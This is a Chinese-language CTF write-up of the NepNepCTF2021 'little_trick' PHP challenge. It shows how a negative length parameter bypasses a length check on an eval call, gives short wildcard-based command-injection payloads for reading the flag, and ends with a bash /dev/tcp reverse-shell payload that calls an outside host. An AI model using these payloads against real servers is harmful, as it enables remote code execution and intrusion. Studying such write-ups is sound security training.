0%

NepNepCTF2021-little_trick

NepNepCTF-little_trick

  • 这道题当时也是非预期了,记录一下其他人的解法
 <?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?> 

题目比较简单,只要命令长度小于13即可。intval($len)<8这里直接让len等于-1即可

例如:

<?php
echo substr("cat /flagg",0,-1);
?>
 //result:cat /flag

具体原因参考:https://www.php.net/substr/

QQ20210426-224201@2x

直接ls看看

QQ20210426-224359@2x

直接读取即可

QQ20210426-224511@2x

其他人的解法:

?nep=`$nep`;ls>z&len=7 
?nep=`$nep`;>cat&len=7 
?nep=`$nep`;*>z&len=7
或者
`ls>z`;&len=7 
`>cat`;&len=7 
`*>z`;&len=6

两个解法其实是一样的,就是先将文件列表存储在一个文件z里面,写一个叫cat的文件。最后用通配符匹配变成一条命令执行

相当于执行了 cat flag.php index.php

反弹shell

?nep=`$_GET[1]`;;&len=-1&1=bash -i >& /dev/tcp/ip/10110 0>&1